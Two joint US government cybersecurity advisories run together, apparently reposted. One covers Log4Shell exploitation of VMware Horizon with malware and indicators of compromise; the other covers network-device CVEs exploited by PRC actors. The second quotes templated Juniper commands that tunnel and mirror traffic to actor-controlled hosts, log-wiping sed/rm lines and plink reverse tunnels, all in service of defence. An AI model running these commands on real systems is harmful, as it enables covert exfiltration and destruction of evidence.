Original release date: June 23, 2022

Summary

Actions to take today:
• Install fixed builds, updating all affected VMware Horizon and UAG systems to the latest versions. If updates or workarounds were not promptly applied following VMware’s release of updates for Log4Shell in December 2021, treat all affected VMware systems as compromised.
• Minimize the internet-facing attack surface by hosting essential services on a segregated demilitarized (DMZ) zone, ensuring strict network perimeter access controls, and implementing regularly updated web application firewalls (WAFs) in front of public-facing services

The Cybersecurity and Infrastructure Security Agency (CISA) and United States Coast Guard Cyber Command (CGCYBER) are releasing this joint Cybersecurity Advisory (CSA) to warn network defenders that cyber threat actors, including state-sponsored advanced persistent threat (APT) actors, have continued to exploit CVE-2021-44228 (Log4Shell) in VMware Horizon® and Unified Access Gateway (UAG) servers to obtain initial access to organizations that did not apply available patches or workarounds.

Since December 2021, multiple threat actor groups have exploited Log4Shell on unpatched, public-facing VMware Horizon and UAG servers. As part of this exploitation, suspected APT actors implanted loader malware on compromised systems with embedded executables enabling remote command and control (C2). In one confirmed compromise, these APT actors were able to move laterally inside the network, gain access to a disaster recovery network, and collect and exfiltrate sensitive data.

This CSA provides the suspected APT actors’ tactics, techniques, and procedures (TTPs), information on the loader malware, and indicators of compromise (IOCs). The information is derived from two related incident response engagements and malware analysis of samples discovered on the victims’ networks.

CISA and CGCYBER recommend all organizations with affected systems that did not immediately apply available patches or workarounds to assume compromise and initiate threat hunting activities using the IOCs provided in this CSA, Malware Analysis Report (MAR)-10382580-1, and MAR-10382254-1. If potential compromise is detected, administrators should apply the incident response recommendations included in this CSA and report key findings to CISA.

See the list below to download copies of IOCs: 

Download the pdf version of this report: [pdf, 483 kb]

Technical Details

Note: this advisory uses the MITRE ATT&CK for Enterprise framework, version 11. See Appendix A for a table of the threat actors’ activity mapped to MITRE ATT&CK® tactics and techniques.

Log4Shell is a remote code execution vulnerability affecting the Apache® Log4j library and a variety of products using Log4j, such as consumer and enterprise services, websites, applications, and other products, including certain versions of VMware Horizon and UAG. The vulnerability enables malicious cyber actors to submit a specially crafted request to a vulnerable system, causing the system to execute arbitrary code. The request allows the malicious actors to take full control of the affected system. (For more information on Log4Shell, see CISA’s Apache Log4j Vulnerability Guidance webpage and VMware advisory VMSA-2021-0028.13.) 

VMware made fixes available in December 2021 and confirmed exploitation in the wild on December 10, 2021.[1] Since December 2021, multiple cyber threat actor groups have exploited [T1190] Log4Shell on unpatched, public-facing VMware Horizon and UAG servers to obtain initial access [TA0001] to networks. 

After obtaining access, some actors implanted loader malware on compromised systems with embedded executables enabling remote C2. These actors connected to known malicious IP address 104.223.34[.]198.[2] This IP address uses a self-signed certificate CN: WIN-P9NRMH5G6M8. In at least one confirmed compromise, the actors collected and exfiltrated sensitive information from the victim’s network. 

The sections below provide information CISA and CGCYBER obtained during incident response activities at two related confirmed compromises.

Victim 1

CGCYBER conducted a proactive threat-hunting engagement at an organization (Victim 1) compromised by actors exploiting Log4Shell in VMware Horizon. After obtaining access, threat actors uploaded malware, hmsvc.exe, to a compromised system. During malware installation, connections to IP address 104.223.34[.]198 were observed. 

CISA and CGCYBER analyzed a sample of hmsvc.exe from the confirmed compromise. hmsvc.exe masquerades as a legitimate Microsoft® Windows® service (SysInternals LogonSessions software) [T1036.004] and appears to be a modified version of SysInternals LogonSessions software embedded with malicious packed code. When discovered, the analyzed sample of hmsvc.exe was running as NT AUTHORITYSYSTEM, the highest privilege level on a Windows system. It is unknown how the actors elevated privileges. 

hmsvc.exe is a Windows loader containing an embedded executable, 658_dump_64.exe. The embedded executable is a remote access tool that provides an array of C2 capabilities, including the ability to log keystrokes [T1056.001], upload and execute additional payloads [T1105], and provide graphical user interface (GUI) access over a target Windows system’s desktop. The malware can function as a C2 tunneling proxy [T1090], allowing a remote operator to pivot to other systems and move further into a network.

When first executed, hmsvc.exe creates the Scheduled Task [T1053.005], C:WindowsSystem32TasksLocal Session Updater, which executes malware every hour. When executed, two randomly named *.tmp files are written to the disk at the location C:Users<USER>AppDataLocalTemp and the embedded executable attempts to connect to hard-coded C2 server 192.95.20[.]8 over port 4443, a non-standard port [TT571]. The executable’s inbound and outbound communications are encrypted with a 128-bit key [T1573.001].

For more information on hmsvc.exe, including IOCs and detection signatures, see MAR-10382254-1.

Victim 2

From late April through May 2022, CISA conducted an onsite incident response engagement at an organization (Victim 2) where CISA observed bi-directional traffic between the organization and suspected APT IP address 104.223.34[.]198. During incident response, CISA determined Victim 2 was compromised by multiple threat actor groups. 

The threat actors using IP 104.223.34[.]198 gained initial access to Victim 2’s production environment in late January 2022, or earlier. These actors likely obtained access by exploiting Log4Shell in an unpatched VMware Horizon server. On or around January 30, likely shortly after the threat actors gained access, CISA observed the actors using PowerShell scripts [T1059.001] to callout to 109.248.150[.]13 via Hypertext Transfer Protocol (HTTP) [T1071.001] to retrieve additional PowerShell scripts. Around the same period, CISA observed the actors attempt to download [T1105] and execute a malicious file from 109.248.150[.]13. The activity started from IP address 104.155.149[.]103, which appears to be part of the actors’ C2 [TA0011] infrastructure. 

After gaining initial access to the VMware Horizon server, the threat actors moved laterally [TA0008] via Remote Desktop Protocol (RDP) [T1021.001] to multiple other hosts in the production environment, including a security management server, a certificate server, a database containing sensitive law enforcement data, and a mail relay server. The threat actors also moved laterally via RDP to the organization’s disaster recovery network. The threat actors gained credentials [TA0006] for multiple accounts, including administrator accounts. It is unknown how these credentials were acquired. 

After moving laterally to other production environment hosts and servers, the actors implanted loader malware on compromised servers containing executables enabling remote C2. The threat actors used compromised administrator accounts to run the loader malware. The loader malware appears to be modified versions of SysInternals LogonSessions, Du, or PsPing software. The embedded executables belong to the same malware family, are similar in design and functionality to 658_dump_64.exe, and provide C2 capabilities to a remote operator. These C2 capabilities include the ability to remotely monitor a system’s desktop, gain reverse shell access, exfiltrate data, and upload and execute additional payloads. The embedded executables can also function as a proxy. 

CISA found the following loader malware:

  • SvcEdge.exe is a malicious Windows loader containing encrypted executable f7_dump_64.exe. When executed, SvcEdge.exe decrypts and loads f7_dump_64.exe into memory. During runtime, f7_dump_64.exe connects to hard-coded C2 server 134.119.177[.]107 over port 443
  • odbccads.exe is a malicious Windows loader containing an encrypted executable. When executed, odbccads.exe decrypts and loads the executable into memory. The executable attempts communication with the remote C2 address 134.119.177[.]107
  • praiser.exe is a Windows loader containing an encrypted executable. When executed, praiser.exe decrypts and loads the executable into memory. The executable attempts connection to hard-coded C2 address 162.245.190[.]203.
  • fontdrvhosts.exe is a Windows loader that contains an encrypted executable. When executed, fontdrvhosts.exe decrypts and loads the executable into memory. The executable attempts connection to hard-coded C2 address 155.94.211[.]207.
  • winds.exe is a Windows loader containing an encrypted malicious executable and was found on a server running as a service. During runtime, the encrypted executable is decrypted and loaded into memory. The executable attempts communication with hard-coded C2 address 185.136.163[.]104. winds.exe has complex obfuscation, hindering the analysis of its code structures. The executable’s inbound and outbound communications are encrypted with an XOR key [T1573.001].

For more information on these malware samples, including IOCs and detection signatures, see MAR-10382580-1.

Additionally, CISA identified a Java® Server Pages (JSP) application (error_401.js) functioning as a malicious webshell [T505.003] and a malicious Dynamic Link Library (DLL) file:

  • error_401.jsp is a webshell designed to parse data and commands from incoming HTTP requests, providing a remote operator C2 capabilities over compromised Linux and Windows systems. error_401.jsp allows actors to retrieve files from the target system, upload files to the target system, and execute commands on the target system. rtelnet is used to execute commands on the target system. Commands and data sent are encrypted via RC4 [T1573.001]. For more information on error_401.jsp, including IOCs, see [MAR-10382580 2].
  • newdev.dll ran as a service in the profile of a known compromised user on a mail relay server. The malware had path: C:Users<user>AppDataRoamingnewdev.dll. The DLL may be the same newdev.dll attributed to the APT actors in open-source reporting; however, CISA was unable to recover the file for analysis. 

Threat actors collected [TA0009] and likely exfiltrated [TA0010] data from Victim 2’s production environment. For a three week period, the security management and certificate servers communicated with the foreign IP address 92.222.241[.]76. During this same period, the security management server sent more than 130 gigabytes (GB) of data to foreign IP address 92.222.241[.]76, indicating the actors likely exfiltrated data from the production environment. CISA also found .rar files containing sensitive law enforcement investigation data [T1560.001] under a known compromised administrator account.

Note: the second threat actor group had access to the organization’s test and production environments, and on or around April 13, 2022, leveraged CVE-2022-22954 to implant the Dingo J-spy webshell. According to trusted third-party reporting, multiple large organizations have been targeted by cyber actors leveraging CVE-2022-22954 and CVE-2022-22960. For more information on exploitation of CVE-2022-22954 and CVE-2022-22960, see CISA CSA Threat Actors Chaining Unpatched VMware Vulnerabilities for Full System Control.

Incident Response

If administrators discover system compromise, CISA and CGCYBER recommend:

  1. Immediately isolating affected systems. 
  2. Collecting and reviewing relevant logs, data, and artifacts.
  3. Considering soliciting support from a third-party incident response organization that can provide subject matter expertise, ensure the actor is eradicated from the network, and avoid residual issues that could enable follow-on exploitation.
  4. Reporting incidents to CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870). To report cyber incidents to the Coast Guard pursuant to 33 CFR Section 101.305,  contact the U.S. Coast Guard (USCG) National Response Center (NRC) (NRC@uscg.mil or 800-424-8802). 

Mitigations

CISA and CGCYBER recommend organizations install updated builds to ensure affected VMware Horizon and UAG systems are updated to the latest version.

  • If updates or workarounds were not promptly applied following VMware’s release of updates for Log4Shell in December 2021, treat those VMware Horizon systems as compromised. Follow the pro-active incident response procedures outlined above prior to applying updates. If no compromise is detected, apply these updates as soon as possible.
    • See VMware Security Advisory VMSA-2021-0028.13 and VMware Knowledge Base (KB) 87073 to determine which VMware Horizon components are vulnerable.
    • Note: until the update is fully implemented, consider removing vulnerable components from the internet to limit the scope of traffic. While installing the updates, ensure network perimeter access controls are as restrictive as possible.
    • If upgrading is not immediately feasible, see KB87073 and KB87092 for vendor-provided temporary workarounds. Implement temporary solutions using an account with administrative privileges. Note that these temporary solutions should not be treated as permanent fixes; vulnerable components should be upgraded to the latest build as soon as possible. 
    • Prior to implementing any temporary solution, ensure appropriate backups have been completed. 
    • Verify successful implementation of mitigations by executing the vendor supplied script Horizon_Windows_Log4j_Mitigations.zip without parameters to ensure that no vulnerabilities remain. See KB87073 for details. 

Additionally, CISA and CGCYBER recommend organizations:

  • Keep all software up to date and prioritize patching known exploited vulnerabilities (KEVs)
  • Minimize the internet-facing attack surface by hosting essential services on a segregated DMZ, ensuring strict network perimeter access controls, and not hosting internet-facing services non-essential to business operations. Where possible, implement regularly updated WAFs in front of public-facing services. WAFs can protect against web based exploitation using signatures and heuristics that are likely to block or alert on malicious traffic.
  • Use best practices for identity and access management (IAM) by implementing multifactor authentication (MFA), enforcing use of strong passwords, and limiting user access through the principle of least privilege.

Contact Information

Recipients of this report are encouraged to contribute any additional information related to this threat.

  • To request incident response resources or technical assistance related to these threats, email CISA at report@cisa.gov. To contact Coast Guard Cyber Command in relation to these threats, email maritimecyber@uscg.mil.
  • To report cyber incidents to the Coast Guard pursuant to 33 CFR Section 101.305  contact the USCG NRC (NRC@uscg.mil or 800-424-8802).

Resources

References

[1] VMware Security Advisory VMSA-2021-0028.13
[2] Fortinet’s blog New Milestones for Deep Panda: Log4Shell and Digitally Signed Fire Chili Rootkits

Appendix A: Indicators of Compromise

See MAR-10382580-1 and MAR-10382254-1 and Table 1 for IOCs. See the list below to download copies of these IOCs: 

Table 1: Indicators of Compromise

Type Indicator Description
IP Address 104.223.34[.]198   IP address closely associated with the installation of malware on victims.
92.222.241[.]76  Victim 2 servers communicated with this IP address and sent data to it during a three-week period.
109.248.150[.]13  Actors attempting to download and execute a malicious file from this address.
104.155.149[.]103  Appears to be a part of the actors’ C2 infrastructure. 
Network Port 192.95.20[.]8:80    Same description as IP 192.95.20[.]8, but includes the specific destination port of 80, which was identified in logs and during malware analysis.
1389  This was the most common destination port for Log4Shell exploitation outbound connections.  Multiple unique destination addresses were used for Log4Shell callback.
104.223.34[.]198:443  IP address closely associated to the installation of malware on victims with the specific destination port of 443.
Scheduled Task C:WindowsSystem32TasksLocal Session Update  Scheduled task created by hmsvc.exe to execute the program hourly.
File Path C:WindowsTemplnk{4_RANDOM_CHARS}.tmp  File created by hmsvc.exe with a random four-character filename.
C:WindowsTemplnk<4_RANDOM_NUMS_CHAR S>.tmp File created by hmsvc.exe with a random four-character filename.

Appendix B: Threat Actor TTPs

See Table 2 for the threat actors’ tactics and techniques identified in this CSA. See the MITRE ATT&CK for Enterprise framework, version 11, for all referenced threat actor tactics and techniques.

Table 2: Tactics and Techniques

Tactic Technique
Initial Access [TA0001] Exploit Public-Facing Application [T1190

Execution [TA0002]

Command and Scripting Interpreter: PowerShell [T1059.001]
Scheduled Task/Job: Scheduled Task [T1053.005]
Persistence [TA0003] Server Software Component: Web Shell [T1505.003]
Defense Evasion [TA0005] Masquerading: Masquerade Task or Service [T1036.004]
Credential Access [TA0006]  
Lateral Movement [TA0008] Remote Services: Remote Desktop Protocol [T1021.001]
Collection [TA0009 Archive Collected Data: Archive via Utility [T1560.001]
Input Capture: Keylogging [T1056.001]
Command and Control [TA0011] Application Layer Protocol: Web Protocols [T1071.001]
Encrypted Channel: Symmetric Cryptography [1573.001]
Ingress Tool Transfer [T1105]
Non-Standard Port [T1571]
  Proxy [T1090]

Disclaimer

© 2021 The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation.

Acknowledgements

CISA and CGCYBER would like to thank VMware and Secureworks for their contributions to this CSA.

Revisions

  • June 23, 2022: Initial version

This product is provided subject to this Notification and this Privacy & Use policy.

Source de l’article sur us-cert.gov

Original release date: June 7, 2022

Summary

Best Practices
• Apply patches as soon as possible
• Disable unnecessary ports and protocols
• Replace end-of-life infrastructure
• Implement a centralized patch management system

This joint Cybersecurity Advisory describes the ways in which People’s Republic of China (PRC) state-sponsored cyber actors continue to exploit publicly known vulnerabilities in order to establish a broad network of compromised infrastructure. These actors use the network to exploit a wide variety of targets worldwide, including public and private sector organizations. The advisory details the targeting and compromise of major telecommunications companies and network service providers and the top vulnerabilities—primarily Common Vulnerabilities and Exposures (CVEs)—associated with network devices routinely exploited by the cyber actors since 2020.

This joint Cybersecurity Advisory was coauthored by the National Security Agency (NSA), the Cybersecurity and Infrastructure Security Agency (CISA), and the Federal Bureau of Investigation (FBI). It builds on previous NSA, CISA, and FBI reporting to inform federal and state, local, tribal, and territorial (SLTT) government; critical infrastructure (CI), including the Defense Industrial Base (DIB); and private sector organizations about notable trends and persistent tactics, techniques, and procedures (TTPs).

Entities can mitigate the vulnerabilities listed in this advisory by applying the available patches to their systems, replacing end-of-life infrastructure, and implementing a centralized patch management program.

NSA, CISA, and the FBI urge U.S. and allied governments, CI, and private industry organizations to apply the recommendations listed in the Mitigations section and Appendix A: Vulnerabilities to increase their defensive posture and reduce the risk of PRC state-sponsored malicious cyber actors affecting their critical networks.

For more information on PRC state-sponsored malicious cyber activity, see CISA’s China Cyber Threat Overview and Advisories webpage.

Click here for PDF.

Common vulnerabilities exploited by People’s Republic of China state-sponsored cyber actors

PRC state-sponsored cyber actors readily exploit vulnerabilities to compromise unpatched network devices. Network devices, such as Small Office/Home Office (SOHO) routers and Network Attached Storage (NAS) devices, serve as additional access points to route command and control (C2) traffic and act as midpoints to conduct network intrusions on other entities. Over the last few years, a series of high-severity vulnerabilities for network devices provided cyber actors with the ability to regularly exploit and gain access to vulnerable infrastructure devices. In addition, these devices are often overlooked by cyber defenders, who struggle to maintain and keep pace with routine software patching of Internet-facing services and endpoint devices.

Since 2020, PRC state-sponsored cyber actors have conducted widespread campaigns to rapidly exploit publicly identified security vulnerabilities, also known as common vulnerabilities and exposures (CVEs). This technique has allowed the actors to gain access into victim accounts using publicly available exploit code against virtual private network (VPN) services [T1133]  or public facing applications [T1190]—without using their own distinctive or identifying malware—so long as the actors acted before victim organizations updated their systems. 

PRC state-sponsored cyber actors typically conduct their intrusions by accessing compromised servers called hop points from numerous China-based Internet Protocol (IP) addresses resolving to different Chinese Internet service providers (ISPs). The cyber actors typically obtain the use of servers by leasing remote access directly or indirectly from hosting providers. They use these servers to register and access operational email accounts, host C2 domains, and interact with victim networks. Cyber actors use these hop points as an obfuscation technique when interacting with victim networks.

These cyber actors are also consistently evolving and adapting tactics to bypass defenses. NSA, CISA, and the FBI have observed state-sponsored cyber actors monitoring network defenders’ accounts and actions, and then modifying their ongoing campaign as needed to remain undetected. Cyber actors have modified their infrastructure and toolsets immediately following the release of information related to their ongoing campaigns. PRC state-sponsored cyber actors often mix their customized toolset with publicly available tools, especially by leveraging tools that are native to the network environment, to obscure their activity by blending into the noise or normal activity of a network.

NSA, CISA, and the FBI consider the common vulnerabilities and exposures (CVEs) listed in Table 1 to be the network device CVEs most frequently exploited by PRC state-sponsored cyber actors since 2020.

 

Table 1: Top network device CVEs exploited by PRC state-sponsored cyber actors

Vendor                                       CVE                                  Vulnerability Type
Cisco CVE-2018-0171 Remote Code Execution
CVE-2019-15271 RCE
CVE-2019-1652 RCE
Citrix CVE-2019-19781 RCE
DrayTek CVE-2020-8515 RCE
D-Link CVE-2019-16920 RCE
Fortinet CVE-2018-13382 Authentication Bypass
MikroTik CVE-2018-14847 Authentication Bypass
Netgear CVE-2017-6862 RCE
Pulse CVE-2019-11510 Authentication Bypass
CVE-2021-22893 RCE
QNAP CVE-2019-7192 Privilege Elevation
CVE-2019-7193 Remote Inject
CVE-2019-7194 XML Routing Detour Attack
CVE-2019-7195 XML Routing Detour Attack
Zyxel CVE-2020-29583 Authentication Bypass

Telecommunications and network service provider targeting

PRC state-sponsored cyber actors frequently utilize open-source tools for reconnaissance and vulnerability scanning. The actors have utilized open-source router specific software frameworks, RouterSploit and RouterScan [T1595.002], to identify makes, models, and known vulnerabilities for further investigation and exploitation. The RouterSploit Framework is an open-source exploitation framework dedicated to embedded devices. RouterScan is an open-source tool that easily allows for the scanning of IP addresses for vulnerabilities. These tools enable exploitation of SOHO and other routers manufactured by major industry providers, including Cisco, Fortinet, and MikroTik.

Upon gaining an initial foothold into a telecommunications organization or network service provider, PRC state-sponsored cyber actors have identified critical users and infrastructure including systems critical to maintaining the security of authentication, authorization, and accounting. After identifying a critical Remote Authentication Dial-In User Service (RADIUS) server, the cyber actors gained credentials to access the underlying Structured Query Language (SQL) database [T1078] and utilized SQL commands to dump the credentials [T1555], which contained both cleartext and hashed passwords for user and administrative accounts. 

Having gained credentials from the RADIUS server, PRC state-sponsored cyber actors used those credentials with custom automated scripts to authenticate to a router via Secure Shell (SSH), execute router commands, and save the output [T1119]. These scripts targeted Cisco and Juniper routers and saved the output of the executed commands, including the current configuration of each router. After successfully capturing the command output, these configurations were exfiltrated off network to the actor’s infrastructure [TA0010]. The cyber actors likely used additional scripting to further automate the exploitation of medium to large victim networks, where routers and switches are numerous, to gather massive numbers of router configurations that would be necessary to successfully manipulate traffic within the network.

Armed with valid accounts and credentials from the compromised RADIUS server and the router configurations, the cyber actors returned to the network and used their access and knowledge to successfully authenticate and execute router commands to surreptitiously route [T1599], capture [T1020.001], and exfiltrate traffic out of the network to actor-controlled infrastructure. 

While other manufacturers likely have similar commands, the cyber actors executed the following commands on a Juniper router to perform initial tunnel configuration for eventual exfiltration out of the network:

set chassis fpc <slot number> pic <user defined value> tunnel-services bandwidth <user defined value>
set chassis network-services all-ethernet
set interfaces <interface-id> unit <unit number> tunnel source <local network IP address>
set interfaces <interface-id> unit <unit number> tunnel destination <actor controlled IP address>
 

After establishing the tunnel, the cyber actors configured the local interface on the device and updated the routing table to route traffic to actor-controlled infrastructure.

set interfaces <interface-id> unit <unit number> family inet address <local network IP address subnet>
set routing-options static route <local network IP address> next-hop <actor controlled IP address>
 

PRC state-sponsored cyber actors then configured port mirroring to copy all traffic to the local interface, which was subsequently forwarded through the tunnel out of the network to actor-controlled infrastructure. 

set firewall family inet filter <filter name> term <filter variable> then port-mirror
set forwarding-options port-mirroring input rate 1
set forwarding-options port-mirroring family inet output interface <interface-id> next-hop <local network IP address>
set forwarding-options port-mirroring family inet output no-filter-check
set interfaces <interface-id> unit <unit number> family inet filter input <filter name>
set interfaces <interface-id> unit <unit number> family inet filter output <filter name>
 

Having completed their configuration changes, the cyber actors often modified and/or removed local log files to destroy evidence of their activity to further obfuscate their presence and evade detection.

sed -i -e ‘/<REGEX>/d’ <log filepath 1>
sed -i -e ‘/<REGEX>/d’ <log filepath 2>
sed -i -e ‘/<REGEX>/d’ <log filepath 3>
rm -f <log filepath 4>
rm -f <log filepath 5>
rm -f <log filepath 6>
 

PRC state-sponsored cyber actors also utilized command line utility programs like PuTTY Link (Plink) to establish SSH tunnels [T1572] between internal hosts and leased virtual private server (VPS) infrastructure. These actors often conducted system network configuration discovery [T1016.001] on these host networks by sending hypertext transfer protocol (HTTP) requests to C2 infrastructure in order to illuminate the external public IP address.

plink.exe –N –R <local port>:<host 1>:<remote port> -pw <user defined password> -batch root@<VPS1> -P <remote SSH port>
plink.exe –N –R <local port>:<host 2>:<remote port> -pw <user defined password> -batch root@<VPS2> -P <remote SSH port>
 

Mitigations

NSA, CISA, and the FBI urge organizations to apply the following recommendations as well as the mitigation and detection recommendations in Appendix A, which are tailored to observed tactics and techniques. While some vulnerabilities have specific additional mitigations below, the following mitigations generally apply:

  • Keep systems and products updated and patched as soon as possible after patches are released [D3-SU] . Consider leveraging a centralized patch management system to automate and expedite the process.
  • Immediately remove or isolate suspected compromised devices from the network [D3-ITF] [D3-OTF].
  • Segment networks to limit or block lateral movement [D3-NI]. 
  • Disable unused or unnecessary network services, ports, protocols, and devices [D3-ACH] [D3-ITF] [D3-OTF]. 
  • Enforce multifactor authentication (MFA) for all users, without exception [D3-MFA]. 
  • Enforce MFA on all VPN connections [D3-MFA]. If MFA is unavailable, enforce password complexity requirements [D3-SPP]. 
  • Implement strict password requirements, enforcing password complexity, changing passwords at a defined frequency, and performing regular account reviews to ensure compliance [D3-SPP].
  • Perform regular data backup procedures and maintain up-to-date incident response and recovery procedures. 
  • Disable external management capabilities and set up an out-of-band management network [D3-NI].
  • Isolate Internet-facing services in a network Demilitarized Zone (DMZ) to reduce the exposure of the internal network [D3-NI].
  • Enable robust logging of Internet-facing services and monitor the logs for signs of compromise [D3-NTA] [D3-PM].
  • Ensure that you have dedicated management systems [D3-PH] and accounts for system administrators. Protect these accounts with strict network policies [D3-UAP].
  • Enable robust logging and review of network infrastructure accesses, configuration changes, and critical infrastructure services performing authentication, authorization, and accounting functions [D3-PM]. 
  • Upon responding to a confirmed incident within any portion of a network, response teams should scrutinize network infrastructure accesses, evaluate potential lateral movement to network infrastructure and implement corrective actions commensurate with their findings.

Resources

Refer to us-cert.cisa.gov/china, https://www.ic3.gov/Home/IndustryAlerts, and https://www.nsa.gov/cybersecurity-guidance for previous reporting on People’s Republic of China state-sponsored malicious cyber activity.

U.S. government and critical infrastructure organizations, should consider signing up for CISA’s cyber hygiene services, including vulnerability scanning, to help reduce exposure to threats.

U.S. Defense Industrial Base (DIB) organizations, should consider signing up for the NSA Cybersecurity Collaboration Center’s DIB Cybersecurity Service Offerings, including Protective Domain Name System (PDNS) services, vulnerability scanning, and threat intelligence collaboration. For more information on eligibility criteria and how to enroll in these services, email dib_defense@cyber.nsa.gov.

Additional References

Contact Information 

To report incidents and anomalous activity or to request incident response resources or technical assistance related to these threats, contact CISA at report@cisa.gov. To report computer intrusion or cybercrime activity related to information found in this advisory, contact your local FBI field office at www.fbi.gov/contact-us/field, or the FBI’s 24/7 Cyber Watch at 855-292-3937 or by email at CyWatch@fbi.gov. For NSA client requirements or general cybersecurity inquiries, contact Cybersecurity_Requests@nsa.gov

Media Inquiries / Press Desk: 

Disclaimer of endorsement

The information and opinions contained in this document are provided « as is » and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.

Purpose

This advisory was developed by NSA, CISA, and the FBI in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders. 

Appendix A: Vulnerabilities

Table 2: Information on Cisco CVE-2018-0171

                                        Cisco CVE-2018-0171                           CVSS 3.0: 9.8 (Critical)

Vulnerability Description 

A vulnerability in the Smart Install feature of Cisco IOS Software and Cisco IOS XE Software could allow an unauthenticated, remote attacker to trigger a reload of an affected device, resulting in a denial of service (DoS) condition, or to execute arbitrary code on an affected device. The vulnerability is due to improper validation of packet data. An attacker could exploit this vulnerability by sending a crafted Smart Install message to an affected device on TCP port 4786. A successful exploit could allow the attacker to cause a buffer overflow on the affected device, which could have the following impacts: Triggering a reload of the device, Allowing the attacker to execute arbitrary code on the device, causing an indefinite loop on the affected device that triggers a watchdog crash.

Recommended Mitigations 

  • Cisco has released software updates that address this vulnerability.
  • In addition, the Cisco Smart Install feature is highly recommended to be disabled to reduce exposure.
Detection Methods

  • CISCO IOS Software Checker

Vulnerable Technologies and Versions

The vulnerability affects Cisco devices that are running a vulnerable release of Cisco IOS or IOS XE software and have the smart install client feature enabled. Only smart install client switches are affected by this vulnerability described in this advisory. 

References

http://www.securityfocus.com/bid/103538
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180328-smi2
https://ics-cert.us-cert.gov/advisories/ICSA-18-107-04
https://ics-cert.us-cert.gov/advisories/ICSA-18-107-05
https://www.darkreading.com/perimeter/attackers-exploit-cisco-switch-issue-as-vendor-warns-of-yet-another-critical-flaw/d/d-id/1331490
http://www.securitytracker.com/id/1040580

 

Table 3: Information on Cisco CVE-2019-15271

                                              Cisco CVE-2019-15271                      CVSS 3.0: 8.8 (High)

Vulnerability Description 

A vulnerability in the web-based management interface of certain Cisco Small Business RV Series Routers could allow an authenticated, remote attacker to execute arbitrary commands with root privileges. The attacker must have either a valid credential or an active session token. The vulnerability is due to lack of input validation of the HTTP payload. An attacker could exploit this vulnerability by sending a malicious HTTP request to the web-based management interface of the targeted device. A successful exploit could allow the attacker to execute commands with root privileges.

Recommended Mitigations 

  • Cisco has released free software updates that address the vulnerability described in this advisory.
  • Cisco fixed this vulnerability in firmware releases 4.2.3.10 and later for the Cisco RV042 Dual WAN VPN Router and RV042G Dual Gigabit WAN VPN Router.
  • Administrators can reduce the attack surface by disabling the Remote Management feature if there is no operational requirement to use it. Note that the feature is disabled by default.
Detection Methods 

  • N/A

Vulnerable Technologies and Versions 

This vulnerability affects the following Cisco Small Business RV Series Routers if they are running a firmware release earlier than 4.2.3.10:

  • RV016 Multi-WAN VPN Router
  • RV042 Dual WAN VPN Router
  • RV042G Dual Gigabit WAN VPN Router
  • RV082 Dual WAN VPN Router

References 

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20191106-sbrv-cmd-x

 

Table 4: Information on Cisco CVE-2019-1652

                                                Cisco CVE-2019-1652                    CVSS 3.0: 7.2 (High)

Vulnerability Description 

A vulnerability in the web-based management interface of Cisco Small Business RV320 and RV325 Dual Gigabit WAN VPN Routers could allow an authenticated, remote attacker with administrative privileges on an affected device to execute arbitrary commands. The vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending malicious HTTP POST requests to the web-based management interface of an affected device. A successful exploit could allow the attacker to execute arbitrary commands on the underlying Linux shell as root. Cisco has released firmware updates that address this vulnerability.

Recommended Mitigations 

  • Cisco has released free software updates that address the vulnerability described in this advisory
  • This vulnerability is fixed in RV320 and RV325 Dual Gigabit WAN VPN Routers Firmware Release 1.4.2.22 and later.
  • If the Remote Management feature is enabled, Cisco recommends disabling it to reduce exposure.
Detection Methods 

  • N/A

Vulnerable Technologies and Versions 

This vulnerability affects Cisco Small Business RV320 and RV325 Dual Gigabit WAN VPN Routers running firmware releases 1.4.2.15 through 1.4.2.20.

References 

http://www.securityfocus.com/bid/106728
https://seclists.org/bugtraq/2019/Mar/55
https://www.exploit-db.com/exploits/46243/
https://www.exploit-db.com/exploits/46655/
http://seclists.org/fulldisclosure/2019/Mar/61
http://packetstormsecurity.com/files/152262/Cisco-RV320-Command-Injection.html
http://packetstormsecurity.com/files/152305/Cisco-RV320-RV325-Unauthenticated-Remote-Code-Execution.html
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-inject

 

Table 5: Information on Citrix CVE-2019-19781

                                                   Citrix CVE-2019-19781          CVSS 3.0: 9.8 (Critical)

Vulnerability Description 

An issue was discovered in Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. They allow Directory Traversal.

Recommended Mitigations 

  • Implement the appropriate refresh according to the vulnerability details outlined by vendor: Citrix: Mitigation Steps for CVE-2019-19781. 
  • If possible, only allow the VPN to communicate with known Internet Protocol (IP) addresses (allow-list).
Detection Methods 

  • CISA has developed a free detection tool for this vulnerability: cisa.gov/check-cve-2019-19781: Test a host for susceptibility to CVE-2019-19781.
  • Nmap developed a script that can be used with the port scanning engine: CVE-2019-19781 – Critix ADC Path Traversal #1893.
  • Citrix also developed a free tool for detecting compromises of Citrix ADC Appliances related to CVE-2019-19781: Citrix / CVE-2019-19781: IOC Scanner for CVE-2019-19781.
  • CVE-2019-19781 is commonly exploited to install web shell malware. The National Security Agency (NSA) provides guidance on detecting and preventing web shell malware at https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF and signatures at https://github.com/nsacyber/Mitigating-Web-Shells.

Vulnerable Technologies and Versions 

The vulnerability affects the following Citrix product versions on all supported platforms:

  • Citrix ADC and Citrix Gateway version 13.0 all supported builds before 13.0.47.24
  • NetScaler ADC and NetScaler Gateway version 12.1 all supported builds before 12.1.55.18
  • NetScaler ADC and NetScaler Gateway version 12.0 all supported builds before 12.0.63.13
  • NetScaler ADC and NetScaler Gateway version 11.1 all supported builds before 11.1.63.15
  • NetScaler ADC and NetScaler Gateway version 10.5 all supported builds before 10.5.70.12
